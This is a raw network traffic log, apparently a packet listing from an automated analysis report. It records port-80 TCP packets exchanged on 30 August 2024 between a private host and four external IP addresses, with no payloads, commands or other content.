Aug 30, 2024 03:17:07.285712957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285739899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.285748959 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.290472031 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.290487051 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.290508032 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.290518999 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.290534019 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.290560961 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.290585041 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.290596008 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.290606022 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.290616035 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.290635109 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.290643930 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.291635990 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.291666985 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.291676044 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.291687012 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.291716099 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.291728973 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.291754961 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.291769981 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.291780949 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.291793108 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.291796923 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.291815042 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.291819096 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.291840076 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.291846991 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.291857004 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.291858912 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.291872025 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.291887999 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.291912079 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.291929007 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.291939020 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.291950941 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.291961908 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.291961908 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.291985035 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.292009115 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.305068970 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305093050 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305097103 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305172920 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305179119 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305188894 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305198908 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305205107 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305247068 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.305280924 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.305507898 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305552006 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.305625916 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305768967 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305778980 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305788040 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305798054 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305809021 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305814028 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.305825949 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305838108 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.305838108 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305851936 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.305876970 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.305915117 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305926085 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305933952 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305951118 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305955887 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.305963993 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305969000 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.305977106 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305988073 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.305996895 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306009054 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306011915 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306024075 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306035042 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306034088 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306058884 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306087971 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306169987 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306180954 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306190968 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306201935 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306211948 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306221962 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306225061 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306236982 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306240082 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306248903 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306252003 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306271076 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306277990 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306288004 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306294918 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306302071 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306313038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.306324005 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306356907 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306359053 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.306370020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.306380033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.306395054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.306406021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.306415081 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.306416035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.306427956 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.306428909 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.306453943 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.306474924 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.306498051 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306508064 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306516886 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306540012 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306540966 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306552887 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306560040 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306564093 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306576014 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306583881 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306586981 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306603909 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306622028 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306827068 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306839943 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306849957 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306859970 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306869984 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306871891 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306881905 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306893110 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306894064 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306905031 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306906939 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306916952 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306929111 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306932926 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306945086 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306957960 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306966066 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306977987 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.306982040 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.306993961 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307003975 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307009935 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.307015896 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307028055 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307032108 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.307039022 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307053089 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307055950 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.307064056 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.307065010 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307091951 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.307116032 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.307123899 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307142973 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307164907 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.307168961 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307173014 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.307183027 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307193995 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307204008 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307208061 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.307215929 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307215929 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.307229042 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307238102 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.307262897 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.307296038 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307307005 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307316065 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307326078 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307333946 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.307358980 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.307398081 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307410002 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307419062 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307430029 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307436943 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.307440996 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307452917 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307457924 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.307468891 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.307477951 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.307497025 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.307518959 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.310267925 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.310425043 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.310434103 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.310442924 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.310453892 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.310465097 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.310473919 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.310473919 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.310487032 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.310494900 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.310528994 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.310883045 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.310899019 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.310909986 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.310957909 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.310961008 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.310977936 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.310992956 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.311002970 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.311012030 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.311013937 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.311028004 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.311057091 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.311925888 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.311937094 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.311945915 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.311974049 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.311975956 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.311989069 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.311996937 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.312016964 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.312020063 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.312028885 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.312036991 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.312041044 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.312048912 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.312052965 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.312068939 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.312081099 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.312088966 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.312098980 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.312098980 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.312124968 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.312133074 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.312136889 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.312149048 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.312156916 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.312160969 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.312181950 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.312202930 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.313452959 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.313463926 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.313472986 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.313503981 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.313514948 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.313549995 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.313560963 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.313570023 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.313582897 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.313589096 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.313592911 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.313610077 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.313626051 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.314106941 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.314152002 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.314162970 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.314196110 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.314218998 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.314229012 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.314244986 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.314254999 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.314261913 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.314265966 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.314275026 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.314295053 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.314305067 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.314328909 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.315906048 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.315982103 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.315996885 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316011906 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316025972 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316034079 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316041946 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316044092 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316052914 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316056013 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316068888 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316071987 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316091061 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316109896 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316528082 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316561937 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316581011 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316593885 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316601992 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316606045 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316622972 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316631079 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316643953 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316643953 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316656113 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316663980 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316674948 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316683054 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316708088 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316739082 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316749096 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316762924 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316773891 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316782951 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316786051 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316793919 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316804886 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316826105 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316864967 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316876888 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316891909 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316901922 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316910028 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316912889 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316931009 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316935062 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316942930 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316951990 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316967010 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316968918 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316978931 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316982985 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.316989899 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.316998959 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.317012072 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.317018032 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.317022085 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.317035913 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.317037106 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.317048073 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.317049026 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.317074060 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.317095995 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.317112923 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.317125082 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.317135096 CEST	80	49735	31.41.244.9	192.168.2.4
